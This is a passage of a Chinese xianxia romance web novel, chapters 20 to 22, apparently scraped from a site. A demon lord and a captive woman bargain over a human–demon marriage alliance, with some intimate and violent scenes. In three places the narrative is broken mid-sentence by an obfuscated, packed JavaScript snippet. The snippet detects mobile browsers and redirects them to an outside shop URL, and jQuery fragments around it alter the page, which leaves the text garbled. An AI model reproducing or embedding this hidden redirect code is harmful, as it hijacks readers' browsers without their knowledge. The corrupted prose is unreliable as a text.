万俟逐鹿知道她不会听进去,作为一个人族,她本也没必要理解魔族的立场,但他就是很想说,唯独想向她倾诉自己无人可知的内心。 “我幼时就是这样一路过来的,成日殚精竭虑,每一个擦身而过的同族都有可能在下一刻向我露出獠牙。” “即便成了魔尊,一旦我露出疲态,毋庸置疑会被魔族一哄而上分食殆尽。” “弱者受强者压迫,强者受更强者压迫,而想要不沦为被压迫的对象,就只能竭尽全力压迫其他人,魔族正是陷入了这样一个恶性循环。” “我想要改变这一切。” “但绝非用九幽水这般歪门邪道的手段。” 万俟逐鹿说这话时,眼神丝毫迷惘也无,他从许多年前就立下了誓言,一直贯彻至今。 “我颁布禁令,废除同族相残的陋习,自此魔族不必担心随时死于同族之手。” “我约束他们猎食人族的行为,只求饱腹便可,而非对一条活生生的人命予以轻贱玩弄的态度。” “我要从根本上改变魔族,让他们发自内心认可我的观念,绝不是作为一个高高在上的存在,肆无忌惮改写他们的天性。” 曲云织鼓了鼓掌,简短评价道:“很不错的理想。” 下一刻,她一把揪住魔尊衣领,将他那张满是正直凛然的脸拉到近前,“但这与魔族必须食人有何关联?” “你不是想征讨神妖二族吗?”曲云织歪了歪头,眼中流露一丝恶意,“不如将你们的食谱换成妖族和神族,这下皆大欢喜。” 万俟逐鹿脸上没有表情,任凭她向自己倾泻怒火,再一次重复,“我做不到。” “人族身上有魔族本能渴望的东西,九幽水也无能为力。” 曲云织紧了紧手中衣料,最后一把将魔尊甩远,不想再听他任何苍白无力的解释。 “既然做不到,那就不用谈了!” “滚吧。” 20. 第 20 章 魔尊没有滚蛋,反而固执地留了下来。 他想找到一条路,让他与曲云织都能得偿所愿。 一开始谈得好好的,二人就各自的诉求产生争议,而后协商解决。 可万万没想到,曲云织提出的最后一个问题如此棘手。 还几乎无解。 作为鸿蒙至宝持有者的他可以断言,魔族对人族的食欲,是连九幽水也绝无法改写的。 即便将魔族的天性改得面目全非,成为一个弱小、仁善、见不得血的种族,在面对人族时也会产生吞吃入腹的强烈欲望。 “做不到的事情就是做不到。” 万俟逐鹿不再放低姿态,缓缓起身,宛如一堵无法跨越的铜墙铁壁,姿态缄默而冷硬。 “你换个条件罢。” 曲云织仰头看他,唇角笑容愈加讽刺。 她可是知道的,卑微蒙昧如边境魔族,在吃了数不胜数的人之后,也有机会进化成大魔。 曲云织冷淡的眼神锐如刀锋,不紧不慢剜上魔尊那张神色低郁的脸。 “不是我提出的条件困难,分明是你毫无诚意!” 人族是魔族进化的基石,而魔尊摆明不肯放弃这一点。 “诚意?” 万俟逐鹿默默咀嚼这个字眼,笑出了声。 他捏着曲云织的下巴,一双黑沉沉的眼下撇,“本尊要是没有诚意,会好声好气与你商量这些,甚至透露如此之多的情报?” “要是我事情做得更狠些——” 他俯下身来,近到与曲云织呼吸交融的地步,缓慢上扬的尾音彰显压迫的意图。 “我根本无需顾虑你的意愿,因为你不过是一个阶下囚。” 曲云织也笑了,身处弱势的地位,她却笑得恣谑且自如,轻慢地扫视魔尊一圈。 “你可以试试,看我会不会鱼死网破?” 万俟逐鹿愤愤松了手。 他背过身去,在曲云织看不到的地方龇牙咧嘴揉着一张脸,烦得不行。 掏心掏肺的商量不管用,故作凶恶的威胁更不怕。 这女人怎么这么难搞? 要不是看在他喜欢她的份上—— 算了。 万俟逐鹿认命般叹了口气,还能离咋地? 他重新转过身,丧眉搭眼,“我既然想与你达成今后共度的共识,就代表不会说容易被戳穿的谎话。” “九幽水能改变一个种族的食谱不假,甚至能让他们无法进食活生生饿到种族绝灭,却无法让他们不饮不食也能生存。” “人族与魔族的关系就相当于后者。” 曲云织凭自己的阅历与对人心的洞察,遗憾地发现魔尊之言无一字假话,方才的盛气逼人淡了些。 “那没办法,我的条件只有这一个,而你满足不了。” 她宣布,“我们谈崩了。” “别这么急着否定,先听听我的想法再说嘛!”万俟逐鹿眼疾手快拽住她被单,不让她翻身给自己留个无情的背影。 好容易将人拉回来,魔尊却没有立刻开口,而是一脸沉思,终于在曲云织感到不耐烦之前,犹犹豫豫地说了一句话。 “我们联姻吧。” 万俟逐鹿挠了挠发烫的脸,竭力让自己表情绷得一本正经。 曲云织:“?” 万俟逐鹿被她狐疑的目光一扫,思绪一下子成了乱麻,本不是那么多的心虚一瞬间被戳爆,清清嗓子还差点把自己呛到。 “就、就是说——” 他吞吞吐吐,“以你我二人的婚姻为见证,达成人魔两族的盟约,共同对抗妖神二族。” 说起正事,他脑子很快回归,话语也变得通顺,构想一气呵成,“借由同盟之间的互相监督约束魔族猎食的行为。” “而你们人族为我们提供渠道合理的粮食。”万俟逐鹿神色淡淡,“譬如尸体、死刑囚犯、一些感染疫病或其他不方便处理的人。” 曲云织注视着魔尊。 尤其他脸上在说这话时漠不关心的表情。 她忽而清楚地意识到,再怎么约束魔族食人,看起来有底线有同理心,但魔尊终究是一个不折不扣的魔族。 “你想与人族结盟,应该去找各大仙门相商。”曲云织说道,“而不是我。” 人魔二族结盟利大于弊。 神族久居云上天不得下界,俗世的权力争斗成了人魔妖三族的游戏。 实则人魔二族间有世仇,争斗不休,妖族势力一盘散沙,沦为神族傀儡。 神族才是唯一的赢家。 要是有机会将神族拉下棋盘,相信除了魔族之外,人、妖二族同样乐见其成。 “这不一样。”万俟逐鹿突然说。 曲云织:“怎么不一样?” 万俟逐鹿牵起她的手,将她的掌心贴在自己脸颊,耳根有些泛红,双眸却郑重地望入曲云织眼底。 “我是为了你才选择与人族结盟。” “自始至终因为你。” “你的意愿才是第一等要事。” 与人族结盟不过是他达成目的的方便手段,联姻才是出于他小小私心,醉翁之意不在酒的那个“意”。 万俟逐鹿握着曲云织手的动作紧了紧,深呼吸,胸膛起伏,鼓起勇气,像是这几日的辗转反侧压根不存在,找回了从前那个莽撞又赤诚的毛头小子,将藏在心底的话语倾吐而出。 “更重要的是——” 他略有些委屈地说:“我也想有个名分。” 曲云织:“……” “噗嗤。”她捂着嘴,乐得不行。 堂堂魔尊,不惜与人族结盟讨伐神妖二族,究其原因居然是为了向她要一个名分。 一想到满脑子情情爱爱的魔尊。 曲云织笑得更厉害了。 万俟逐鹿都做好豁出去的打算了,久等不到回应,还被她如此嘲笑,不由恼羞成怒。 掰开曲云织掩唇的手,迫使她看向自己。 “你就说你答不答应?” 他语气凶恶,与之形成鲜明对比的,是不仅红透了的耳根,还有一张涨红的俊脸。 曲云织本想回答,一见到他那红成灯笼的脸,张嘴又是一串欢快笑声。 万俟逐鹿这下真的恼了。 有那么好笑吗? 他飘忽的视线落在曲云织面上,她眉眼舒展,苍白到不健康的肌肤染上浅浅的粉,是真切到浸透眼底的笑,而非平日里浮于表面的伪装。 原来她也能笑得这么开心。 万俟逐鹿忽然就没那么生气了。 天性狡猾的魔族一旦找对了方法,在爱情里一样能无师自通。 他如同一只害了羞的鸵鸟,双臂箍上曲云织的腰身,默默将脑袋埋进她怀里。 嗓音闷闷,“不许笑。” 曲云织纳罕于魔尊这副宛若撒娇的姿态,“行,我不笑了。” 万俟逐鹿唇角得意地翘了下。 “我从前什么都不懂,对你做了许多错事。” “那些不愉快的过去一笔勾销,我们重新开始好不好?” 他微微仰头,一双本该冷峻深邃的黑眸,带着不符合他身份与年纪的纯澈,渴盼又希冀地望向她。 曲云织垂下眼帘,指尖拨弄他的碎发。 终是回答,“好。” 她没有不答应的理由。 自从曲云织答应了联姻的提议,魔尊高兴得像个两百斤的孩子。 曲云织叫他冷静些,他却坐立不安,恨不得蹦蹦跳跳地满世界庆祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251984|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “……你再这样我就反悔了。” 万俟逐鹿一个激灵,不赞同地看她,“做人要言而有信。” 曲云织嘴角抽搐,没跟这个一遇到恋爱话题就时而精明时而愚笨的家伙计较,提起了正事,“与人族结盟的前提,是你魔族内部安定。” “别忘了还有激进派势力不曾收复。” 虽然激进派与魔尊决裂是她搞的鬼,但曲云织依然能将自己惹的麻烦理直气壮交给魔尊解决。 万俟逐鹿一听到激进派,神色就淡了下来。 “无需担忧,我与他们本质的矛盾,是他们嫌我锋芒不足,心慈手软。” 就算没有曲云织闹上那一出,激进派未必见得有多忠诚。 “但反过来说,如果我撤回禁令,大肆向外扩张势力,做他们心目中残忍暴虐的合格魔尊,激进派又会是一把无比好使的刀。” 曲云织敏锐地问,“所以你打算如何处理?” 万俟逐鹿咧了下嘴角,“与他们求和,总得意思意思交人出去泄愤。” “刚好最近抓了不少神族奸细,就用他们,乃至于更远的未来神妖二族的血祭旗。” 如同以复仇为饵,钓着希辰加入己方阵营,他便给予段干鸿一个尽情厮杀的场合。 万俟逐鹿舒舒坦坦抱着曲云织,让她窝在自己怀中,“我比不得你会算计人心,作为魔尊也总是无法讨所有人喜欢。” “不过无妨,我本就不需要臣下的忠诚,只需会驾驭他们便可。” 于是这天,王城大开门户,迎激进派入魔宫。 曲云织见到了许久未见的段干鸿,还有另一个与他并排同行的陌生面孔。 看起来地位不下于段干鸿,且与他并不属于同一势力,面容冷淡俊美,只眼神有些许懒散地低垂。 见到魔尊后单膝跪下,态度比以往任何大魔族都要恭敬些。 “那是谁?”她与魔尊交头接耳。 万俟逐鹿小小声告诉她,“此人名为仲凌尉,算是我这个派系的二把手,之前被我派往边境与段干鸿对峙。” 曲云织面露了然,连他都一起来了,此次和谈不出意外已有了默认的结果。 她百无聊赖听着魔尊与激进派据理力争和谈的条件,而段干鸿听到魔尊要讨伐神妖二族后朗声大笑,宁愿吃些闷亏也要选择归顺。 在他们即将其乐融融地谈完前。 曲云织蓦地出声。 “段干大人。”她笑吟吟的,“你是否改为先前宴会上冒犯我一事,向我道歉呢?” 这句格格不入的话一出,场内气氛霎时冷凝。 段干鸿面色阴沉,他本来选择无视了这个人族女人,她却非要在紧要关头自己跳出来,提醒他与魔尊之间还隔着这么一根刺。 “魔尊陛下想如何是好?” 万俟逐鹿意味不明地看了眼曲云织,她这分明是在故意挑事! 不是已经商量好了吗?为何要出尔反尔再次针对激进派? 魔尊只需片刻便做出了决定,漠然道:“你无需向曲夫人致歉,无关紧要的事就让它过去吧。” 他总不能在如此场合,公然要求一个即将归顺之人放低姿态道歉。 段干鸿低声一笑,“多谢魔尊陛下宽宏大量。” …… “男人的嘴,骗人的鬼。” 曲云织幽幽一叹,“大庭广众之前公然拂了我的面子,转而偏袒段干鸿,为了一个还不曾归心的臣下选择委屈了我。” “果然是男人的劣根性,得到了就不会再珍惜。” “你说是吧?” 寝宫内,曲云织红唇微启,幽冷的气息吐在万俟逐鹿耳畔,念出了那个她平日绝不会说的称呼—— “魔尊陛下。” 21. 第 21 章 万俟逐鹿面皮一紧。 这还是他第一次听到曲云织称呼自己“魔尊陛下”。 无数场你死我活的争斗中磨炼出来的危机意识,在这一刻拉响了警报。 有一个声音对着他耳语:再不努力,你老婆就没了。 万俟逐鹿:……这种事情不要啊! “你听我说!”魔尊这辈子都没一口气不带喘讲过这么长的话,“选择维护段干鸿是大局为重,毕竟不能在双方都还没谈拢的时候就对他不客气,但一万个他在我心里都比不上你分毫,我对你的一颗真心天地可昭日月可鉴!” 况且—— 与段干鸿的矛盾本来就是曲云织自己挑起的。 当然追根溯源还是他最先利用曲云织敲打段干鸿。 这些话他不能说。 魔尊一口气憋在心里,感觉这笔账越算越难清。 也不知道是开了窍还是怎么,万俟逐鹿在恋爱心得上简直醍醐灌顶,以往不懂与心上人相处的分寸,现在一通百通。 总之不管事实如何,反正认准曲云织说的话就是真理。 万俟逐鹿只能用新学来的撒娇招数,握着曲云织的手腕晃了下,唇微抿,“你先前答应得好好的,暂时与我放下过去的成见,以我们的联姻促成人魔二族盟约。” “方才却不死心找段干鸿的茬,你分明是故意的。” “你在试探我的立场。” 魔尊话说得笃定,他一颗精明的头脑还不至于被爱意冲昏。 曲云织被猜中了心思,面色依旧安然,“可你比起我,最终却偏向了段干鸿那边。” “你辜负了我。” 她只是轻轻掀起眼帘,一双雾蒙蒙的黑眸安静凝视着魔尊,眼中情绪不深,却恰到好处展现了顾影自怜的幽怨与控诉。 与其据理力争,她选无理取闹。 这是她作为爱情之中上位者的特权。 万俟逐鹿明知她的任性妄为,理所应当行驶着只在自己这里起效的特权,可一想到她的这份恣意来源于自己的纵容。 甜蜜的情绪一股脑上涌,醺得他头脑晕眩不知其所以然,就像醉倒在了佳酿之中。 魔尊以惊人的意志抵抗这股来势汹汹的醉意,冷硬下心肠,“是啊,好叫你知道。” 他顿了顿,眼神格外认真,“我永远会优先选择魔族那边。” 曲云织毫不意外,魔尊要是真的是为了小情小爱顾不清大局的类型,她的攻略进度还至于推进得如此困难吗? “你辜负了我。”她再次强调,咬重了每一个字的音节。 魔尊一会儿撒娇卖痴,一会儿又是跟她平心而论地讲事实,无非仗着他新学会的花招,想从她这里占便宜。 果不愧是魔族,还是魔族里的至强者,一旦学会该如何争抢,就本能地不肯吃一点亏。 哪怕深陷情爱时也一样,妄图挑战她的权威。 曲云织暗自嗤笑。 魔尊这点小伎俩在她面前压根不够看。 她无需多费口舌,也不必被魔尊的任何话语所动摇,因为本就是他心虚在先。 万俟逐鹿还真被拿捏住心虚气短之处,默了默,扶额微仰着头,无可奈何叹道:“那你想怎么办?” 曲云织挑眉,双手悠悠然拢于袖中,“还问我?你自己犯的错,不应该自己想方设法弥补吗?” 行,就逮着他一个人欺负。 万俟逐鹿感到既无力,又有种莫名的满足。 “只要不违背我的底线。”魔尊不知想到了什么,脸颊发红,水光粼粼的黑眸有些躲闪,像只乖顺得任凭处置的小动物。 “我可以答应你的任何需求。” 曲云织承认,魔尊先前的花招对她不痛不痒,但她居然被□□这种初级手段给撼动了。 面前之人介于少年与青年之间,身段高挑,蜂腰猿臂,今日又换了件鲜亮的衣裳,锦衣搭配金玉华饰,自从她应下了联姻的请求,连大咧咧敞开的衣襟都学会拢紧了。 他发质偏硬,长发披散时泛白的末端四处乱翘,五色绳结花里胡哨地编织小辫。 容貌冷峻秾艳,轮廓深邃,长眉锐眼,本应是极具侵略性的长相。 此刻却低垂长睫,通身锋利的气质都软软收敛起来,一副任君采撷予取予求的姿态。 曲云织一把捂住了脸,深沉地想:好一个魔尊,是她小瞧了他。 她指尖挑起魔尊的下巴,眼神晦涩,落在他脸上的目光如有实质般四处逡巡。 在万俟逐鹿忍不住闭眼,睫毛微微翕动,猜测她会提出怎样更得寸进尺的要求时。 忽听曲云织说:“给我看看你影魔的真身。” 万俟逐鹿:“你为什么会想到这个?” 难不成是顾忌他魔尊的身份,明明更过分的要求也不是不可以! 曲云织略微蹙眉,“问那么多做甚,我就是想看不成吗?” 万俟逐鹿一噎,遗憾地、无言以对地、欲求不满地、心不甘情不愿地变了身。 曲云织满心期待一个黑黑小小贴墙爬的魔尊,可映入眼帘的景象却与她预想大相径庭。 魔尊还是人形的模样,只是皮肤如被墨汁染就,通身上下包括一双眼睛都成了一片纯然的黑,其上流转星云般璀璨绚烂的光晕,光是看着就觉质感奇特,似雾似水,深邃又通透。 影魔的真身奇特而瑰丽,可以说大饱眼福。 只是—— “我那么大一个糯米团子呢?” 曲云织不可置信地喃喃,头一次感到被欺诈是一种怎样的心情。 “你怎么知道的?”万俟逐鹿脱口而出,紧接着瞬间意识到只有可能是宋逾说漏的嘴,他捏了捏眉心,“那是我幼年期的形态,如今成年了自然有所变化。” 曲云织说不失望是假的,只能意思意思戳了下魔尊的皮肤。 冰凉细腻,还有种言语形容不上来的特殊触感,像丝绸,也像一团过分浓稠的雾。 曲云织略微失神。 她幼时曾经历一场变故,躲在暗无天日的山洞里避祸,不饮不食,身子僵冷得快要死去也不敢动弹,连时间的流逝都忘了。 自那以后她便喜欢上了黑暗,觉得只有待在这样的环境才能安心。 如此说来,魔尊这副影魔的姿态其实蛮符合她审美的。 不知不觉间,她的手探入魔尊衣领,动作越来越肆无忌惮。 万俟逐鹿终于忍不住,一把攥住那只四处作乱的手,隐忍地低声吼了句,“你摸够了没!” 曲云织这才堪堪回神。 她从魔尊那张黑不溜秋的脸上看不出什么,视线下移,才瞥到自己的手已经贴上他小腹。 曲云织眨了眨眼,不以为然。 肢体接触也是提升好感的一条渠道,这样想着,她心安理得继续摸了下去。 魔尊从未有过与人如此亲密接触的经验,从起初的浑身僵硬无所适从,再到瑟缩退避,直至敏感点被逐一挖掘,身体虚软,一触即溃。 曲云织没费什么力气,轻轻一推,便将他推倒在了床榻上。 床帐散下,影影绰绰映出二人身形。 曲云织跨坐在魔尊腰身,惊奇地发现她指尖如同穿透一张薄薄水膜,进入到了影魔的身体里。 万俟逐鹿咬紧齿关,仍是不由自主泄露一声闷哼。 影魔本就是一团聚散无常的影子,他作为其中至强者才有能力化虚为实,可仍是如水一般流动无定形的,没想到这时给予了曲云织方便。 他清晰地感知到自己的内脏被微凉的指尖触碰,那是从未有人到访过的地方,一种禁忌被触犯的不适,与随之而来更大的刺激转瞬席卷了他的心智。 曲云织低低地笑了笑,就像发现什么前所未见之物,带着满脸状若无辜的好奇,与兴致勃勃的探究欲,将手探得更深了些。 从纤细修长的食指,缓缓推进到中指与无名指,再到五根手指齐齐没入,等魔尊的皮肤艰难吞下她的手掌,剩下的手腕部分要进去就变得轻松了许多。 自魔尊的肝脏处开始深入,用力往上顶去,刺破了横隔膜,直达胸腔中那颗跳动的心脏。 曲云织手指轻柔地抚弄着魔尊的心脏。 魔族至强者的命脉此刻就掌握在她手心里,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曲云织依靠前者获得了魔尊的心悦,却万万没想到被后者绊住了脚步。 就如同魔尊白日里所说,如果将她与魔族放在同一个天秤,魔尊永远不可能偏重向她。 对弱者的体恤带给他的是作为魔尊的责任心。 正是这份深厚的羁绊,使得魔尊无法全心全意爱上她。 魔尊的提案很好,人魔两族得以共赢,既能约束魔族猎食人族的行为,还能讨伐神妖二族,同时也许诺了她收集四族至宝。 可她并不认同。 因为魔尊许是误解了一点,她提出改写魔族食人的天性,从来不是为了人族安泰。 人族怎么样关她屁事,她只想拯救自己的家人于天罚,其他更宏大的东西她根本无暇考虑! 要不然就不会明知太乙天书事关人族气运,也要强行夺过来。 她只是一直很讨厌魔族。 曲云织眼神无比平静,缓缓伸出了手,朝向魔尊那截毫无防备的脖颈。 对她来说,独自一人收集四族至宝,与和魔尊合作征讨神妖二族,难度其实大差不差。 后者耗时甚至更为长久。 而她只想以最快的速度救族人于水火之中。 所以口头答应魔尊的联姻请求,稳住他,让他卸下心防。 然后踢开她这条路上最大的绊脚石。 她能做到的。 曲云织告诉自己。 她最擅长玩弄人心不是吗? 挑拨离间,让魔尊众叛亲离,那些牵绊住他的,他最在意的,横亘在二人之间的东西通通被她毁去。 践踏他改变魔族现状的愿景,使他不被所有人理解。 让魔尊沦落到一无所有,孤立无援。 彻底毁了他! 这样他就能全身心属于自己。 之后顺理成章杀了他,夺走他身上的九幽水,再然后改换身份潜入妖族,直指下一个目标。 曲云织眼底幽邃无光,像是沉淀了这世上最深最浓的黑暗。 在她的手即将触到魔尊之时,眼前不期然浮现他一张毫无杂质的干净笑颜。 “……” 曲云织终是收回了手,背过身去。 罢了。 在她不知道的地方。 万俟逐鹿睁开一双毫无睡意的眼睛,在黑暗中静静凝望了许久,直至听到身后人逐渐平稳的呼吸声。 他轻轻一哂,阖目睡了过去。 22. 第 22 章 翌日,拂晓初现。 晨曦透过窗棂照了进来,床上之人眼睫被染上薄薄金粉,蝶翼般翕动。 曲云织苏醒,昨晚一夜好眠,难得没有深陷噩梦。 她看着头顶床幔,安静躺了好一会儿,才想起魔尊与她同塌而眠,手往边上摸索。 空荡荡的,也没有残余的体温。 没道理啊? 通常来讲初尝情欲,不应该腻歪得很,恨不得时时刻刻温存吗? 曲云织疑心出了什么问题,翻身坐起,正准备换鞋。 视线冷不丁瞥到梳妆台前坐了一人。 端看背影就能瞧出三分轩昂之姿,尾端泛白的长发披散,平日穿戴繁复的金饰被搁置一旁,此刻正对着一面嵌玉雕花的镜子,专心致志给自己编小辫。 曲云织:“……” 起猛了,看到怪东西。 这是什么八尺莽汉穿针引线,山林猛虎细嗅蔷薇? 她肯定还在做梦,要不然怎么会见到如此难以直视的场景? 曲云织狠狠闭上眼,重新躺了回去。 “怎么,还没睡醒?”万俟逐鹿借着梳妆镜,旁观曲云织仰卧起坐的全程,不由问了一句。 曲云织:很好,不是梦。 她眼神古怪打量魔尊,“你这辫子原来是自己编的,为何不交给侍从?” 万俟逐鹿将三缕发丝逐一交叠,手指动作灵巧,编出来的成品也精致,不到片刻就织好了一条小辫,捞起五色绳结继续下一条的编织,显然对这种事驾轻就熟。 听到曲云织的问题,他轻轻撇了下嘴,十分嫌弃,“他们手艺还没我好。” 曲云织:“……” 魔尊真是能耐了,短短几句话的功夫震惊她两次。 万俟逐鹿表现得不如何在意,只时不时往镜子里瞄上几眼,偷觑曲云织的反应。 然后就清楚地看到她脸上挣扎的神情,像在大街上撞见一个长须虬髯却搔首弄姿的簪花壮汉,带着勉为其难的尊重与实在接受不了的忍耐,恨不得退避三舍。 万俟逐鹿一阵羞恼,炸毛似的喊了一句,“凭什么男的就不能臭美?你这是性别歧视!” 他语调忽又转低,变成呜呜咽咽的委屈,“我本体黑漆漆的,喜欢花里胡哨一点的东西又怎么了?” 曲云织敷衍点头,“嗯嗯,你说的对,我的不是。” 万俟逐鹿见她这般反应,更加气不打一处来,手速飞快编好剩下的小辫子,带上金制的发冠与抹额。 转过身,恨铁不成钢,“你再看看你,浑身上下光秃秃没一件首饰,人长得这么漂亮为何不懂得打扮自己?” 曲云织默默掏出他送给自己的牡丹形制发钗,“首饰我还是有的。” 万俟逐鹿顿感不屑,轻轻嗤笑一声。 他走上前,扶着曲云织的肩,推她到方才他坐的位置,自己则站在她身后,取出一把木梳,捧起流泻的长发。 “我替你梳妆。” 魔尊眼睫低敛,神色专注。 梳齿穿过流水丝绸般的黑云墨发,将那被睡乱的一头青丝打理整齐,再简单不过的动作,却带给他莫大的满足。 万俟逐鹿状似无意提了一句,“我记得你们人族新婚时,要为嫁娘梳头。” 要是大婚当日他能亲自妆点她就好了。 曲云织本是闭上眼享受魔尊妥帖的照顾,闻言无语地借着镜子看他,小心思简直昭然若揭,“那是母亲为出嫁的女儿所做。” “你难道想当我娘亲?” 万俟逐鹿手一抖,闭了嘴。 他闷不吭声,只将注意力悉数放在为曲云织梳妆上,很快替她盘好发,简单勾勒几笔画眉描唇,顺手从影子里抖落不少专为女子准备的首饰。 曲云织眼神微动。 万俟逐鹿一个支棱,忙不迭自白道:“千万别误会,这堆首饰是我近几日为你买的,我从前不近女色,长这么大只有你一个亲近的女子。” 曲云织挑了挑眉,语气不紧不慢,“我其实想说——” 她左右偏头,打量镜中自己,“现在这般素净便足够了,满头珠翠一想想就觉得脑重脚轻。” 曲云织勾唇笑了下,“你不会心中有鬼才急着辩解吧?” 万俟逐鹿不说话,愤愤捞起一根蝶形钗子,往她头发上一别。 盏茶时间后。 “好了,你看看怎么样?” 曲云织顺着他的话,看向镜中映出的自己。 靡颜腻理,金质玉相,向来苍白寡淡的面容略施粉黛,就将明艳的五官凸显,竟压过浮华奢丽的打扮,衬得一切黯然失色。 她恍惚觉得这样的自己有些陌生。 万俟逐鹿满意端详自己的成果,笑意染上眼角,“从今往后,都由我替你画眉绾发如何?” 曲云织回过神来,随口说道:“还是不了,太麻烦。” 万俟逐鹿微愣,笑容淡了下来,忽而想起昨夜在曲云织身上察觉的若有似无的杀意。 她还是不肯与他许诺今后之事。 无妨,比起先前她态度要软化许多,慢慢来就是。 万俟逐鹿觉得自己从不缺耐心,唯独在这件事上,总感到挥之不去的焦躁。 他将心神转移到正事上,这是他心烦意乱时最常用的解压办法。 今天的日程共有两项。 一是去信上清仙宗有了回音,商榷人魔二族联姻之事。 仙宗没有立即应下,而是提出要与曲云织单独聊上一聊,确认此事真伪。 毕竟这消息来得猝不及防,谁也没想到玄微仙君的道侣被魔尊掳走,本以为会过得水深火热,结果没多久魔域那边送来一封联姻的信函。 曲云织与仙宗长老隔着水镜对话,略去有关鸿蒙至宝的细节,简单将事情的来龙去脉讲了一遍。 长老们听完你看看我,我看看你,半晌不知说些什么才好。 他们心里只有两个想法。 美人计的威力恐怖如斯,勾得魔尊带着整个魔族当彩礼。 以及魔尊与玄微仙君果然是死对头,喜欢的对象都是同一个。 他们无不感慨。 玄微,你就安心地去吧,别怪他们照顾不好你的遗孀,谁叫魔尊的彩礼实在太香。 就连玄微仙君在世时都没解决的人魔两族争端,在他死后,反倒因其道侣嫁他人为妻,将这件事给办妥了。 命运弄人,真是可叹。 另一边,在曲云织与上清仙宗联络的同时,万俟逐鹿召见了段干鸿,继续上次未完的话题。 “你既然选择归顺本尊,也是时候将麟符交出来了。” 麟符足以控制占魔族数量七成之多的边境魔族,放在段干鸿手里,他难以心安。 段干鸿冷冷道:“魔尊陛下,且不说麟符本就是炎魔一族打造,拿在我手里天经地义。” “就说我才刚归顺不久,就急着从我手里缴兵权,怕不是有些鸟尽弓藏的意思。” 万俟逐鹿散漫一笑,“你这就误会我了,本尊既想同神妖二族开战,自然要考虑利用边境魔族的大军探路。” “战场瞬息万变,要是我每下一道命令都要通过你中转,这其中延误的战机谁来负责?” 段干鸿啧了一声,“这不是还没到那个时候吗?与人族的同盟都尚未结成,何必急着从我手里要麟符?” 万俟逐鹿深深看他一眼,“本尊不急,只是提前跟你打声招呼,有关麟符的事往后可以细细掰扯。” “兵权不白拿你的,有什么条件尽管提。” 段干鸿行了一礼,“那便容我回去思索一二。” 自魔尊那里告退后,段干鸿礼节性的恭敬就褪了下来,眉间刻痕压得很深,满脸烦躁阴郁。 下属小心翼翼窥他脸色,提议道:“段干大人,要不咱们伪造一个麟符?” 段干鸿冷笑,“你造得出来?” 许多年前魔域势力分散,某一任魔尊命他们炎魔一族打造麟符,彻底控制住边境神智低微的杂种魔族。 可之后,当年那一批工匠被灭口,制作麟符的技术也失传了。 世间仅此一份的兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251986|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符,也通常被历代魔尊牢牢把持。 只除了如今这个。 多年以前,上任魔尊临死时将麟符交给他唯一的子嗣,而那魔尊之子也确实在亲信帮助下逃往边境,但与炎魔一族接洽时中途失踪。 炎魔一族本打算借他人头投效新魔尊的计划泡汤,反而就此埋下怀疑的种子。 段干鸿想到这里,愈加心浮气躁,身上熔岩般的纹路烧得更旺。 他带领激进派投效魔尊如此爽快,最重要的原因就是他清楚己方势力外强中干的本质。 麟符根本不在他们这里,这么多年都拿着一个假象唬人,而魔尊不知用什么方法兵不血刃收复希辰那厮,两派势力共同对付他,就算当真掌握了边境魔族也顶多斗到两败俱伤。 下属显然知道这一点,苦巴着一张脸,“那我们该如何是好?” 段干鸿呼出一口气,“只能拖了。” 拖延到与神妖二族大战打响,魔尊自顾不暇没法清算他们。 再借着拖来的这段时间,尽可能为己方争取有利条件。 当然这只是下下之策。 段干鸿吩咐属下,“你顺着当年的线索一路查,寻找上任魔尊之子的下落,同时让炎魔一族那边着手复原麟符的工艺。” 下属迟疑,“前者我们这么些年调查过无数次都无功而返,后者要是能做到就不至于忧心至此了。” 段干鸿怒道:“别管那么多,将自己能做的都做好就行!” 下属背脊一绷,连忙应了声,“是!” * 曲云织结束与上清仙宗的对话,万俟逐鹿也忙完了琐事。 二人不期而遇,你瞧我眼中糟心,我看你脸上疲惫,戚戚然凑合在了一块儿。 路过一处花园时,曲云织听到不同寻常的动静。 往近了些瞧,她看见一个衣着破败的少年正抱头蜷缩,而三三两两的侍从围着他拳打脚踢。 万俟逐鹿站在远些的地方,刻意弄出些响动。 魔宫侍从视线机敏地扫了过来,见是魔尊大驾光临,似乎与一个女子聊得正欢,没注意到他们,于是狠狠松了口气,丢下被他们欺负的少年一哄而散。 曲云织意外地瞅了瞅魔尊,“我以为你会严惩他们。” 万俟逐鹿不以为然,“以魔宫的刑罚少说要了他们半条命,没那个必要。” 他缓步来到蜷缩在地上一声不吭的少年面前,打算拎着他丢去医馆疗伤。 少年听到靠近的脚步声瑟缩了一下,没等来预想中的殴打,抬起头,露出真容。 万俟逐鹿脚步一顿。 “你认识他?”曲云织察觉他反应不对,好奇多问了一句,来到他身侧,猝不及防对上少年一双漂亮的眼睛。 一金一绿的异瞳,澄澈瑰丽如宝石,在阳光下流转令人惊叹的色泽。 万俟逐鹿罕见沉默了片刻,终是说:“人魔混血,是那个已死暗卫的弟弟。” 曲云织没有流露任何异样,“怎么想着把他接到魔宫里?” 